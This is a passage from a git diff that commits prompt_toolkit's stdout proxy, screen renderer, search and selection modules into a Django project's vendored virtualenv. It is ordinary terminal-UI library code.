is active during + the creation of this instance. + + This class can be used as a context manager. + + In order to avoid having to repaint the prompt continuously for every + little write, a short delay of `sleep_between_writes` seconds will be added + between writes in order to bundle many smaller writes in a short timespan. + """ + + def __init__( + self, + sleep_between_writes: float = 0.2, + raw: bool = False, + ) -> None: + + self.sleep_between_writes = sleep_between_writes + self.raw = raw + + self._lock = threading.RLock() + self._buffer: List[str] = [] + + # Keep track of the curret app session. + self.app_session = get_app_session() + + # See what output is active *right now*. We should do it at this point, + # before this `StdoutProxy` instance is possibly assigned to `sys.stdout`. + # Otherwise, if `patch_stdout` is used, and no `Output` instance has + # been created, then the default output creation code will see this + # proxy object as `sys.stdout`, and get in a recursive loop trying to + # access `StdoutProxy.isatty()` which will again retrieve the output. + self._output: Output = self.app_session.output + + # Flush thread + self._flush_queue: queue.Queue[Union[str, _Done]] = queue.Queue() + self._flush_thread = self._start_write_thread() + self.closed = False + + def __enter__(self) -> "StdoutProxy": + return self + + def __exit__(self, *args: object) -> None: + self.close() + + def close(self) -> None: + """ + Stop `StdoutProxy` proxy. + + This will terminate the write thread, make sure everything is flushed + and wait for the write thread to finish. + """ + if not self.closed: + self._flush_queue.put(_Done()) + self._flush_thread.join() + self.closed = True + + def _start_write_thread(self) -> threading.Thread: + thread = threading.Thread( + target=self._write_thread, + name="patch-stdout-flush-thread", + daemon=True, + ) + thread.start() + return thread + + def _write_thread(self) -> None: + done = False + + while not done: + item = self._flush_queue.get() + + if isinstance(item, _Done): + break + + # Don't bother calling when we got an empty string. + if not item: + continue + + text = [] + text.append(item) + + # Read the rest of the queue if more data was queued up. + while True: + try: + item = self._flush_queue.get_nowait() + except queue.Empty: + break + else: + if isinstance(item, _Done): + done = True + else: + text.append(item) + + app_loop = self._get_app_loop() + self._write_and_flush(app_loop, "".join(text)) + + # If an application was running that requires repainting, then wait + # for a very short time, in order to bundle actual writes and avoid + # having to repaint to often. + if app_loop is not None: + time.sleep(self.sleep_between_writes) + + def _get_app_loop(self) -> Optional[asyncio.AbstractEventLoop]: + """ + Return the event loop for the application currently running in our + `AppSession`. + """ + app = self.app_session.app + + if app is None: + return None + + return app.loop + + def _write_and_flush( + self, loop: Optional[asyncio.AbstractEventLoop], text: str + ) -> None: + """ + Write the given text to stdout and flush. + If an application is running, use `run_in_terminal`. + """ + + def write_and_flush() -> None: + if self.raw: + self._output.write_raw(text) + else: + self._output.write(text) + + self._output.flush() + + def write_and_flush_in_loop() -> None: + # If an application is running, use `run_in_terminal`, otherwise + # call it directly. + run_in_terminal(write_and_flush, in_executor=False) + + if loop is None: + # No loop, write immediately. + write_and_flush() + else: + # Make sure `write_and_flush` is executed *in* the event loop, not + # in another thread. + loop.call_soon_threadsafe(write_and_flush_in_loop) + + def _write(self, data: str) -> None: + """ + Note: print()-statements cause to multiple write calls. + (write('line') and write('\n')). Of course we don't want to call + `run_in_terminal` for every individual call, because that's too + expensive, and as long as the newline hasn't been written, the + text itself is again overwritten by the rendering of the input + command line. Therefor, we have a little buffer which holds the + text until a newline is written to stdout. + """ + if "\n" in data: + # When there is a newline in the data, write everything before the + # newline, including the newline itself. + before, after = data.rsplit("\n", 1) + to_write = self._buffer + [before, "\n"] + self._buffer = [after] + + text = "".join(to_write) + self._flush_queue.put(text) + else: + # Otherwise, cache in buffer. + self._buffer.append(data) + + def _flush(self) -> None: + text = "".join(self._buffer) + self._buffer = [] + self._flush_queue.put(text) + + def write(self, data: str) -> int: + with self._lock: + self._write(data) + + return len(data) # Pretend everything was written. + + def flush(self) -> None: + """ + Flush buffered output. + """ + with self._lock: + self._flush() + + @property + def original_stdout(self) -> TextIO: + return self._output.stdout or sys.__stdout__ + + # Attributes for compatibility with sys.__stdout__: + + def fileno(self) -> int: + return self._output.fileno() + + def isatty(self) -> bool: + stdout = self._output.stdout + if stdout is None: + return False + + return stdout.isatty() + + @property + def encoding(self) -> str: + return self._output.encoding() + + @property + def errors(self) -> str: + return "strict" diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/py.typed b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/py.typed new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/renderer.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/renderer.py new file mode 100644 index 00000000..e40fc9e8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/renderer.py @@ -0,0 +1,811 @@ +""" +Renders the command line on the console. +(Redraws parts of the input line that were changed.) +""" +from asyncio import FIRST_COMPLETED, Future, ensure_future, sleep, wait +from collections import deque +from enum import Enum +from typing import TYPE_CHECKING, Any, Callable, Deque, Dict, Hashable, Optional, Tuple + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.cursor_shapes import CursorShape +from prompt_toolkit.data_structures import Point, Size +from prompt_toolkit.filters import FilterOrBool, to_filter +from prompt_toolkit.formatted_text import AnyFormattedText, to_formatted_text +from prompt_toolkit.layout.mouse_handlers import MouseHandlers +from prompt_toolkit.layout.screen import Char, Screen, WritePosition +from prompt_toolkit.output import ColorDepth, Output +from prompt_toolkit.styles import ( + Attrs, + BaseStyle, + DummyStyleTransformation, + StyleTransformation, +) + +if TYPE_CHECKING: + from prompt_toolkit.application import Application + from prompt_toolkit.layout.layout import Layout + + +__all__ = [ + "Renderer", + "print_formatted_text", +] + + +def _output_screen_diff( + app: "Application[Any]", + output: Output, + screen: Screen, + current_pos: Point, + color_depth: ColorDepth, + previous_screen: Optional[Screen], + last_style: Optional[str], + is_done: bool, # XXX: drop is_done + full_screen: bool, + attrs_for_style_string: "_StyleStringToAttrsCache", + style_string_has_style: "_StyleStringHasStyleCache", + size: Size, + previous_width: int, +) -> Tuple[Point, Optional[str]]: + """ + Render the diff between this screen and the previous screen. + + This takes two `Screen` instances. The one that represents the output like + it was during the last rendering and one that represents the current + output raster. Looking at these two `Screen` instances, this function will + render the difference by calling the appropriate methods of the `Output` + object that only paint the changes to the terminal. + + This is some performance-critical code which is heavily optimized. + Don't change things without profiling first. + + :param current_pos: Current cursor position. + :param last_style: The style string, used for drawing the last drawn + character. (Color/attributes.) + :param attrs_for_style_string: :class:`._StyleStringToAttrsCache` instance. + :param width: The width of the terminal. + :param previous_width: The width of the terminal during the last rendering. + """ + width, height = size.columns, size.rows + + #: Variable for capturing the output. + write = output.write + write_raw = output.write_raw + + # Create locals for the most used output methods. + # (Save expensive attribute lookups.) + _output_set_attributes = output.set_attributes + _output_reset_attributes = output.reset_attributes + _output_cursor_forward = output.cursor_forward + _output_cursor_up = output.cursor_up + _output_cursor_backward = output.cursor_backward + + # Hide cursor before rendering. (Avoid flickering.) + output.hide_cursor() + + def reset_attributes() -> None: + "Wrapper around Output.reset_attributes." + nonlocal last_style + _output_reset_attributes() + last_style = None # Forget last char after resetting attributes. + + def move_cursor(new: Point) -> Point: + "Move cursor to this `new` point. Returns the given Point." + current_x, current_y = current_pos.x, current_pos.y + + if new.y > current_y: + # Use newlines instead of CURSOR_DOWN, because this might add new lines. + # CURSOR_DOWN will never create new lines at the bottom. + # Also reset attributes, otherwise the newline could draw a + # background color. + reset_attributes() + write("\r\n" * (new.y - current_y)) + current_x = 0 + _output_cursor_forward(new.x) + return new + elif new.y < current_y: + _output_cursor_up(current_y - new.y) + + if current_x >= width - 1: + write("\r") + _output_cursor_forward(new.x) + elif new.x < current_x or current_x >= width - 1: + _output_cursor_backward(current_x - new.x) + elif new.x > current_x: + _output_cursor_forward(new.x - current_x) + + return new + + def output_char(char: Char) -> None: + """ + Write the output of this character. + """ + nonlocal last_style + + # If the last printed character has the same style, don't output the + # style again. + if last_style == char.style: + write(char.char) + else: + # Look up `Attr` for this style string. Only set attributes if different. + # (Two style strings can still have the same formatting.) + # Note that an empty style string can have formatting that needs to + # be applied, because of style transformations. + new_attrs = attrs_for_style_string[char.style] + if not last_style or new_attrs != attrs_for_style_string[last_style]: + _output_set_attributes(new_attrs, color_depth) + + write(char.char) + last_style = char.style + + def get_max_column_index(row: Dict[int, Char]) -> int: + """ + Return max used column index, ignoring whitespace (without style) at + the end of the line. This is important for people that copy/paste + terminal output. + + There are two reasons we are sometimes seeing whitespace at the end: + - `BufferControl` adds a trailing space to each line, because it's a + possible cursor position, so that the line wrapping won't change if + the cursor position moves around. + - The `Window` adds a style class to the current line for highlighting + (cursor-line). + """ + numbers = [ + index + for index, cell in row.items() + if cell.char != " " or style_string_has_style[cell.style] + ] + numbers.append(0) + return max(numbers) + + # Render for the first time: reset styling. + if not previous_screen: + reset_attributes() + + # Disable autowrap. (When entering a the alternate screen, or anytime when + # we have a prompt. - In the case of a REPL, like IPython, people can have + # background threads, and it's hard for debugging if their output is not + # wrapped.) + if not previous_screen or not full_screen: + output.disable_autowrap() + + # When the previous screen has a different size, redraw everything anyway. + # Also when we are done. (We might take up less rows, so clearing is important.) + if ( + is_done or not previous_screen or previous_width != width + ): # XXX: also consider height?? + current_pos = move_cursor(Point(x=0, y=0)) + reset_attributes() + output.erase_down() + + previous_screen = Screen() + + # Get height of the screen. + # (height changes as we loop over data_buffer, so remember the current value.) + # (Also make sure to clip the height to the size of the output.) + current_height = min(screen.height, height) + + # Loop over the rows. + row_count = min(max(screen.height, previous_screen.height), height) + c = 0 # Column counter. + + for y in range(row_count): + new_row = screen.data_buffer[y] + previous_row = previous_screen.data_buffer[y] + zero_width_escapes_row = screen.zero_width_escapes[y] + + new_max_line_len = min(width - 1, get_max_column_index(new_row)) + previous_max_line_len = min(width - 1, get_max_column_index(previous_row)) + + # Loop over the columns. + c = 0 + while c <= new_max_line_len: + new_char = new_row[c] + old_char = previous_row[c] + char_width = new_char.width or 1 + + # When the old and new character at this position are different, + # draw the output. (Because of the performance, we don't call + # `Char.__ne__`, but inline the same expression.) + if new_char.char != old_char.char or new_char.style != old_char.style: + current_pos = move_cursor(Point(x=c, y=y)) + + # Send injected escape sequences to output. + if c in zero_width_escapes_row: + write_raw(zero_width_escapes_row[c]) + + output_char(new_char) + current_pos = Point(x=current_pos.x + char_width, y=current_pos.y) + + c += char_width + + # If the new line is shorter, trim it. + if previous_screen and new_max_line_len < previous_max_line_len: + current_pos = move_cursor(Point(x=new_max_line_len + 1, y=y)) + reset_attributes() + output.erase_end_of_line() + + # Correctly reserve vertical space as required by the layout. + # When this is a new screen (drawn for the first time), or for some reason + # higher than the previous one. Move the cursor once to the bottom of the + # output. That way, we're sure that the terminal scrolls up, even when the + # lower lines of the canvas just contain whitespace. + + # The most obvious reason that we actually want this behaviour is the avoid + # the artifact of the input scrolling when the completion menu is shown. + # (If the scrolling is actually wanted, the layout can still be build in a + # way to behave that way by setting a dynamic height.) + if current_height > previous_screen.height: + current_pos = move_cursor(Point(x=0, y=current_height - 1)) + + # Move cursor: + if is_done: + current_pos = move_cursor(Point(x=0, y=current_height)) + output.erase_down() + else: + current_pos = move_cursor(screen.get_cursor_position(app.layout.current_window)) + + if is_done or not full_screen: + output.enable_autowrap() + + # Always reset the color attributes. This is important because a background + # thread could print data to stdout and we want that to be displayed in the + # default colors. (Also, if a background color has been set, many terminals + # give weird artifacts on resize events.) + reset_attributes() + + if screen.show_cursor or is_done: + output.show_cursor() + + return current_pos, last_style + + +class HeightIsUnknownError(Exception): + "Information unavailable. Did not yet receive the CPR response." + + +class _StyleStringToAttrsCache(Dict[str, Attrs]): + """ + A cache structure that maps style strings to :class:`.Attr`. + (This is an important speed up.) + """ + + def __init__( + self, + get_attrs_for_style_str: Callable[["str"], Attrs], + style_transformation: StyleTransformation, + ) -> None: + + self.get_attrs_for_style_str = get_attrs_for_style_str + self.style_transformation = style_transformation + + def __missing__(self, style_str: str) -> Attrs: + attrs = self.get_attrs_for_style_str(style_str) + attrs = self.style_transformation.transform_attrs(attrs) + + self[style_str] = attrs + return attrs + + +class _StyleStringHasStyleCache(Dict[str, bool]): + """ + Cache for remember which style strings don't render the default output + style (default fg/bg, no underline and no reverse and no blink). That way + we know that we should render these cells, even when they're empty (when + they contain a space). + + Note: we don't consider bold/italic/hidden because they don't change the + output if there's no text in the cell. + """ + + def __init__(self, style_string_to_attrs: Dict[str, Attrs]) -> None: + self.style_string_to_attrs = style_string_to_attrs + + def __missing__(self, style_str: str) -> bool: + attrs = self.style_string_to_attrs[style_str] + is_default = bool( + attrs.color + or attrs.bgcolor + or attrs.underline + or attrs.strike + or attrs.blink + or attrs.reverse + ) + + self[style_str] = is_default + return is_default + + +class CPR_Support(Enum): + "Enum: whether or not CPR is supported." + SUPPORTED = "SUPPORTED" + NOT_SUPPORTED = "NOT_SUPPORTED" + UNKNOWN = "UNKNOWN" + + +class Renderer: + """ + Typical usage: + + :: + + output = Vt100_Output.from_pty(sys.stdout) + r = Renderer(style, output) + r.render(app, layout=...) + """ + + CPR_TIMEOUT = 2 # Time to wait until we consider CPR to be not supported. + + def __init__( + self, + style: BaseStyle, + output: Output, + full_screen: bool = False, + mouse_support: FilterOrBool = False, + cpr_not_supported_callback: Optional[Callable[[], None]] = None, + ) -> None: + + self.style = style + self.output = output + self.full_screen = full_screen + self.mouse_support = to_filter(mouse_support) + self.cpr_not_supported_callback = cpr_not_supported_callback + + self._in_alternate_screen = False + self._mouse_support_enabled = False + self._bracketed_paste_enabled = False + self._cursor_key_mode_reset = False + + # Future set when we are waiting for a CPR flag. + self._waiting_for_cpr_futures: Deque[Future[None]] = deque() + self.cpr_support = CPR_Support.UNKNOWN + + if not output.responds_to_cpr: + self.cpr_support = CPR_Support.NOT_SUPPORTED + + # Cache for the style. + self._attrs_for_style: Optional[_StyleStringToAttrsCache] = None + self._style_string_has_style: Optional[_StyleStringHasStyleCache] = None + self._last_style_hash: Optional[Hashable] = None + self._last_transformation_hash: Optional[Hashable] = None + self._last_color_depth: Optional[ColorDepth] = None + + self.reset(_scroll=True) + + def reset(self, _scroll: bool = False, leave_alternate_screen: bool = True) -> None: + + # Reset position + self._cursor_pos = Point(x=0, y=0) + + # Remember the last screen instance between renderers. This way, + # we can create a `diff` between two screens and only output the + # difference. It's also to remember the last height. (To show for + # instance a toolbar at the bottom position.) + self._last_screen: Optional[Screen] = None + self._last_size: Optional[Size] = None + self._last_style: Optional[str] = None + self._last_cursor_shape: Optional[CursorShape] = None + + # Default MouseHandlers. (Just empty.) + self.mouse_handlers = MouseHandlers() + + #: Space from the top of the layout, until the bottom of the terminal. + #: We don't know this until a `report_absolute_cursor_row` call. + self._min_available_height = 0 + + # In case of Windows, also make sure to scroll to the current cursor + # position. (Only when rendering the first time.) + # It does nothing for vt100 terminals. + if _scroll: + self.output.scroll_buffer_to_prompt() + + # Quit alternate screen. + if self._in_alternate_screen and leave_alternate_screen: + self.output.quit_alternate_screen() + self._in_alternate_screen = False + + # Disable mouse support. + if self._mouse_support_enabled: + self.output.disable_mouse_support() + self._mouse_support_enabled = False + + # Disable bracketed paste. + if self._bracketed_paste_enabled: + self.output.disable_bracketed_paste() + self._bracketed_paste_enabled = False + + self.output.reset_cursor_shape() + + # NOTE: No need to set/reset cursor key mode here. + + # Flush output. `disable_mouse_support` needs to write to stdout. + self.output.flush() + + @property + def last_rendered_screen(self) -> Optional[Screen]: + """ + The `Screen` class that was generated during the last rendering. + This can be `None`. + """ + return self._last_screen + + @property + def height_is_known(self) -> bool: + """ + True when the height from the cursor until the bottom of the terminal + is known. (It's often nicer to draw bottom toolbars only if the height + is known, in order to avoid flickering when the CPR response arrives.) + """ + if self.full_screen or self._min_available_height > 0: + return True + try: + self._min_available_height = self.output.get_rows_below_cursor_position() + return True + except NotImplementedError: + return False + + @property + def rows_above_layout(self) -> int: + """ + Return the number of rows visible in the terminal above the layout. + """ + if self._in_alternate_screen: + return 0 + elif self._min_available_height > 0: + total_rows = self.output.get_size().rows + last_screen_height = self._last_screen.height if self._last_screen else 0 + return total_rows - max(self._min_available_height, last_screen_height) + else: + raise HeightIsUnknownError("Rows above layout is unknown.") + + def request_absolute_cursor_position(self) -> None: + """ + Get current cursor position. + + We do this to calculate the minimum available height that we can + consume for rendering the prompt. This is the available space below te + cursor. + + For vt100: Do CPR request. (answer will arrive later.) + For win32: Do API call. (Answer comes immediately.) + """ + # Only do this request when the cursor is at the top row. (after a + # clear or reset). We will rely on that in `report_absolute_cursor_row`. + assert self._cursor_pos.y == 0 + + # In full-screen mode, always use the total height as min-available-height. + if self.full_screen: + self._min_available_height = self.output.get_size().rows + return + + # For Win32, we have an API call to get the number of rows below the + # cursor. + try: + self._min_available_height = self.output.get_rows_below_cursor_position() + return + except NotImplementedError: + pass + + # Use CPR. + if self.cpr_support == CPR_Support.NOT_SUPPORTED: + return + + def do_cpr() -> None: + # Asks for a cursor position report (CPR). + self._waiting_for_cpr_futures.append(Future()) + self.output.ask_for_cpr() + + if self.cpr_support == CPR_Support.SUPPORTED: + do_cpr() + return + + # If we don't know whether CPR is supported, only do a request if + # none is pending, and test it, using a timer. + if self.waiting_for_cpr: + return + + do_cpr() + + async def timer() -> None: + await sleep(self.CPR_TIMEOUT) + + # Not set in the meantime -> not supported. + if self.cpr_support == CPR_Support.UNKNOWN: + self.cpr_support = CPR_Support.NOT_SUPPORTED + + if self.cpr_not_supported_callback: + # Make sure to call this callback in the main thread. + self.cpr_not_supported_callback() + + get_app().create_background_task(timer()) + + def report_absolute_cursor_row(self, row: int) -> None: + """ + To be called when we know the absolute cursor position. + (As an answer of a "Cursor Position Request" response.) + """ + self.cpr_support = CPR_Support.SUPPORTED + + # Calculate the amount of rows from the cursor position until the + # bottom of the terminal. + total_rows = self.output.get_size().rows + rows_below_cursor = total_rows - row + 1 + + # Set the minimum available height. + self._min_available_height = rows_below_cursor + + # Pop and set waiting for CPR future. + try: + f = self._waiting_for_cpr_futures.popleft() + except IndexError: + pass # Received CPR response without having a CPR. + else: + f.set_result(None) + + @property + def waiting_for_cpr(self) -> bool: + """ + Waiting for CPR flag. True when we send the request, but didn't got a + response. + """ + return bool(self._waiting_for_cpr_futures) + + async def wait_for_cpr_responses(self, timeout: int = 1) -> None: + """ + Wait for a CPR response. + """ + cpr_futures = list(self._waiting_for_cpr_futures) # Make copy. + + # When there are no CPRs in the queue. Don't do anything. + if not cpr_futures or self.cpr_support == CPR_Support.NOT_SUPPORTED: + return None + + async def wait_for_responses() -> None: + for response_f in cpr_futures: + await response_f + + async def wait_for_timeout() -> None: + await sleep(timeout) + + # Got timeout, erase queue. + for response_f in cpr_futures: + response_f.cancel() + self._waiting_for_cpr_futures = deque() + + tasks = { + ensure_future(wait_for_responses()), + ensure_future(wait_for_timeout()), + } + _, pending = await wait(tasks, return_when=FIRST_COMPLETED) + for task in pending: + task.cancel() + + def render( + self, app: "Application[Any]", layout: "Layout", is_done: bool = False + ) -> None: + """ + Render the current interface to the output. + + :param is_done: When True, put the cursor at the end of the interface. We + won't print any changes to this part. + """ + output = self.output + + # Enter alternate screen. + if self.full_screen and not self._in_alternate_screen: + self._in_alternate_screen = True + output.enter_alternate_screen() + + # Enable bracketed paste. + if not self._bracketed_paste_enabled: + self.output.enable_bracketed_paste() + self._bracketed_paste_enabled = True + + # Reset cursor key mode. + if not self._cursor_key_mode_reset: + self.output.reset_cursor_key_mode() + self._cursor_key_mode_reset = True + + # Enable/disable mouse support. + needs_mouse_support = self.mouse_support() + + if needs_mouse_support and not self._mouse_support_enabled: + output.enable_mouse_support() + self._mouse_support_enabled = True + + elif not needs_mouse_support and self._mouse_support_enabled: + output.disable_mouse_support() + self._mouse_support_enabled = False + + # Create screen and write layout to it. + size = output.get_size() + screen = Screen() + screen.show_cursor = False # Hide cursor by default, unless one of the + # containers decides to display it. + mouse_handlers = MouseHandlers() + + # Calculate height. + if self.full_screen: + height = size.rows + elif is_done: + # When we are done, we don't necessary want to fill up until the bottom. + height = layout.container.preferred_height( + size.columns, size.rows + ).preferred + else: + last_height = self._last_screen.height if self._last_screen else 0 + height = max( + self._min_available_height, + last_height, + layout.container.preferred_height(size.columns, size.rows).preferred, + ) + + height = min(height, size.rows) + + # When the size changes, don't consider the previous screen. + if self._last_size != size: + self._last_screen = None + + # When we render using another style or another color depth, do a full + # repaint. (Forget about the previous rendered screen.) + # (But note that we still use _last_screen to calculate the height.) + if ( + self.style.invalidation_hash() != self._last_style_hash + or app.style_transformation.invalidation_hash() + != self._last_transformation_hash + or app.color_depth != self._last_color_depth + ): + self._last_screen = None + self._attrs_for_style = None + self._style_string_has_style = None + + if self._attrs_for_style is None: + self._attrs_for_style = _StyleStringToAttrsCache( + self.style.get_attrs_for_style_str, app.style_transformation + ) + if self._style_string_has_style is None: + self._style_string_has_style = _StyleStringHasStyleCache( + self._attrs_for_style + ) + + self._last_style_hash = self.style.invalidation_hash() + self._last_transformation_hash = app.style_transformation.invalidation_hash() + self._last_color_depth = app.color_depth + + layout.container.write_to_screen( + screen, + mouse_handlers, + WritePosition(xpos=0, ypos=0, width=size.columns, height=height), + parent_style="", + erase_bg=False, + z_index=None, + ) + screen.draw_all_floats() + + # When grayed. Replace all styles in the new screen. + if app.exit_style: + screen.append_style_to_content(app.exit_style) + + # Process diff and write to output. + self._cursor_pos, self._last_style = _output_screen_diff( + app, + output, + screen, + self._cursor_pos, + app.color_depth, + self._last_screen, + self._last_style, + is_done, + full_screen=self.full_screen, + attrs_for_style_string=self._attrs_for_style, + style_string_has_style=self._style_string_has_style, + size=size, + previous_width=(self._last_size.columns if self._last_size else 0), + ) + self._last_screen = screen + self._last_size = size + self.mouse_handlers = mouse_handlers + + # Handle cursor shapes. + new_cursor_shape = app.cursor.get_cursor_shape(app) + if ( + self._last_cursor_shape is None + or self._last_cursor_shape != new_cursor_shape + ): + output.set_cursor_shape(new_cursor_shape) + self._last_cursor_shape = new_cursor_shape + + # Flush buffered output. + output.flush() + + # Set visible windows in layout. + app.layout.visible_windows = screen.visible_windows + + if is_done: + self.reset() + + def erase(self, leave_alternate_screen: bool = True) -> None: + """ + Hide all output and put the cursor back at the first line. This is for + instance used for running a system command (while hiding the CLI) and + later resuming the same CLI.) + + :param leave_alternate_screen: When True, and when inside an alternate + screen buffer, quit the alternate screen. + """ + output = self.output + + output.cursor_backward(self._cursor_pos.x) + output.cursor_up(self._cursor_pos.y) + output.erase_down() + output.reset_attributes() + output.enable_autowrap() + + output.flush() + + self.reset(leave_alternate_screen=leave_alternate_screen) + + def clear(self) -> None: + """ + Clear screen and go to 0,0 + """ + # Erase current output first. + self.erase() + + # Send "Erase Screen" command and go to (0, 0). + output = self.output + + output.erase_screen() + output.cursor_goto(0, 0) + output.flush() + + self.request_absolute_cursor_position() + + +def print_formatted_text( + output: Output, + formatted_text: AnyFormattedText, + style: BaseStyle, + style_transformation: Optional[StyleTransformation] = None, + color_depth: Optional[ColorDepth] = None, +) -> None: + """ + Print a list of (style_str, text) tuples in the given style to the output. + """ + fragments = to_formatted_text(formatted_text) + style_transformation = style_transformation or DummyStyleTransformation() + color_depth = color_depth or output.get_default_color_depth() + + # Reset first. + output.reset_attributes() + output.enable_autowrap() + last_attrs: Optional[Attrs] = None + + # Print all (style_str, text) tuples. + attrs_for_style_string = _StyleStringToAttrsCache( + style.get_attrs_for_style_str, style_transformation + ) + + for style_str, text, *_ in fragments: + attrs = attrs_for_style_string[style_str] + + # Set style attributes if something changed. + if attrs != last_attrs: + if attrs: + output.set_attributes(attrs, color_depth) + else: + output.reset_attributes() + last_attrs = attrs + + # Eliminate carriage returns + text = text.replace("\r", "") + + # Assume that the output is raw, and insert a carriage return before + # every newline. (Also important when the front-end is a telnet client.) + output.write(text.replace("\n", "\r\n")) + + # Reset again. + output.reset_attributes() + output.flush() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/search.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/search.py new file mode 100644 index 00000000..413cc6ad --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/search.py @@ -0,0 +1,229 @@ +""" +Search operations. + +For the key bindings implementation with attached filters, check +`prompt_toolkit.key_binding.bindings.search`. (Use these for new key bindings +instead of calling these function directly.) +""" +from enum import Enum +from typing import TYPE_CHECKING, Dict, Optional + +from .application.current import get_app +from .filters import FilterOrBool, is_searching, to_filter +from .key_binding.vi_state import InputMode + +if TYPE_CHECKING: + from prompt_toolkit.layout.controls import BufferControl, SearchBufferControl + from prompt_toolkit.layout.layout import Layout + +__all__ = [ + "SearchDirection", + "start_search", + "stop_search", +] + + +class SearchDirection(Enum): + FORWARD = "FORWARD" + BACKWARD = "BACKWARD" + + +class SearchState: + """ + A search 'query', associated with a search field (like a SearchToolbar). + + Every searchable `BufferControl` points to a `search_buffer_control` + (another `BufferControls`) which represents the search field. The + `SearchState` attached to that search field is used for storing the current + search query. + + It is possible to have one searchfield for multiple `BufferControls`. In + that case, they'll share the same `SearchState`. + If there are multiple `BufferControls` that display the same `Buffer`, then + they can have a different `SearchState` each (if they have a different + search control). + """ + + __slots__ = ("text", "direction", "ignore_case") + + def __init__( + self, + text: str = "", + direction: SearchDirection = SearchDirection.FORWARD, + ignore_case: FilterOrBool = False, + ) -> None: + + self.text = text + self.direction = direction + self.ignore_case = to_filter(ignore_case) + + def __repr__(self) -> str: + return "{}({!r}, direction={!r}, ignore_case={!r})".format( + self.__class__.__name__, + self.text, + self.direction, + self.ignore_case, + ) + + def __invert__(self) -> "SearchState": + """ + Create a new SearchState where backwards becomes forwards and the other + way around. + """ + if self.direction == SearchDirection.BACKWARD: + direction = SearchDirection.FORWARD + else: + direction = SearchDirection.BACKWARD + + return SearchState( + text=self.text, direction=direction, ignore_case=self.ignore_case + ) + + +def start_search( + buffer_control: Optional["BufferControl"] = None, + direction: SearchDirection = SearchDirection.FORWARD, +) -> None: + """ + Start search through the given `buffer_control` using the + `search_buffer_control`. + + :param buffer_control: Start search for this `BufferControl`. If not given, + search through the current control. + """ + from prompt_toolkit.layout.controls import BufferControl + + assert buffer_control is None or isinstance(buffer_control, BufferControl) + + layout = get_app().layout + + # When no control is given, use the current control if that's a BufferControl. + if buffer_control is None: + if not isinstance(layout.current_control, BufferControl): + return + buffer_control = layout.current_control + + # Only if this control is searchable. + search_buffer_control = buffer_control.search_buffer_control + + if search_buffer_control: + buffer_control.search_state.direction = direction + + # Make sure to focus the search BufferControl + layout.focus(search_buffer_control) + + # Remember search link. + layout.search_links[search_buffer_control] = buffer_control + + # If we're in Vi mode, make sure to go into insert mode. + get_app().vi_state.input_mode = InputMode.INSERT + + +def stop_search(buffer_control: Optional["BufferControl"] = None) -> None: + """ + Stop search through the given `buffer_control`. + """ + layout = get_app().layout + + if buffer_control is None: + buffer_control = layout.search_target_buffer_control + if buffer_control is None: + # (Should not happen, but possible when `stop_search` is called + # when we're not searching.) + return + search_buffer_control = buffer_control.search_buffer_control + else: + assert buffer_control in layout.search_links.values() + search_buffer_control = _get_reverse_search_links(layout)[buffer_control] + + # Focus the original buffer again. + layout.focus(buffer_control) + + if search_buffer_control is not None: + # Remove the search link. + del layout.search_links[search_buffer_control] + + # Reset content of search control. + search_buffer_control.buffer.reset() + + # If we're in Vi mode, go back to navigation mode. + get_app().vi_state.input_mode = InputMode.NAVIGATION + + +def do_incremental_search(direction: SearchDirection, count: int = 1) -> None: + """ + Apply search, but keep search buffer focused. + """ + assert is_searching() + + layout = get_app().layout + + # Only search if the current control is a `BufferControl`. + from prompt_toolkit.layout.controls import BufferControl + + search_control = layout.current_control + if not isinstance(search_control, BufferControl): + return + + prev_control = layout.search_target_buffer_control + if prev_control is None: + return + search_state = prev_control.search_state + + # Update search_state. + direction_changed = search_state.direction != direction + + search_state.text = search_control.buffer.text + search_state.direction = direction + + # Apply search to current buffer. + if not direction_changed: + prev_control.buffer.apply_search( + search_state, include_current_position=False, count=count + ) + + +def accept_search() -> None: + """ + Accept current search query. Focus original `BufferControl` again. + """ + layout = get_app().layout + + search_control = layout.current_control + target_buffer_control = layout.search_target_buffer_control + + from prompt_toolkit.layout.controls import BufferControl + + if not isinstance(search_control, BufferControl): + return + if target_buffer_control is None: + return + + search_state = target_buffer_control.search_state + + # Update search state. + if search_control.buffer.text: + search_state.text = search_control.buffer.text + + # Apply search. + target_buffer_control.buffer.apply_search( + search_state, include_current_position=True + ) + + # Add query to history of search line. + search_control.buffer.append_to_history() + + # Stop search and focus previous control again. + stop_search(target_buffer_control) + + +def _get_reverse_search_links( + layout: "Layout", +) -> Dict["BufferControl", "SearchBufferControl"]: + """ + Return mapping from BufferControl to SearchBufferControl. + """ + return { + buffer_control: search_buffer_control + for search_buffer_control, buffer_control in layout.search_links.items() + } diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/selection.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/selection.py new file mode 100644 index 00000000..a02aa870 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/selection.py @@ -0,0 +1,60 @@ +""" +Data structures for the selection. +""" +from enum import Enum + +__all__ = [ + "SelectionType", + "PasteMode", + "SelectionState", +] + + +class SelectionType(Enum): + """ + Type of selection. + """ + + #: Characters. (Visual in Vi.) + CHARACTERS = "CHARACTERS" + + #: Whole lines. (Visual-Line in Vi.) + LINES = "LINES" + + #: A block selection. (Visual-Block in Vi.) + BLOCK = "BLOCK" + + +class PasteMode(Enum): + EMACS = "EMACS" # Yank like emacs. + VI_AFTER = "VI_AFTER" # When pressing 'p' in Vi. + VI_BEFORE = "VI_BEFORE" # When pressing 'P' in Vi. + + +class SelectionState: + """ + State of the current selection. + + :param original_cursor_position: int + :param type: :class:`~.SelectionType` + """ + + def __init__( + self, + original_cursor_position: int = 0, + type: SelectionType = SelectionType.CHARACTERS, + ) -> None: + + self.original_cursor_position = original_cursor_position + self.type = type + self.shift_mode = False + + def enter_shift_mode(self) -> None: + self.shift_mode = True + + def __repr__(self) -> str: + return 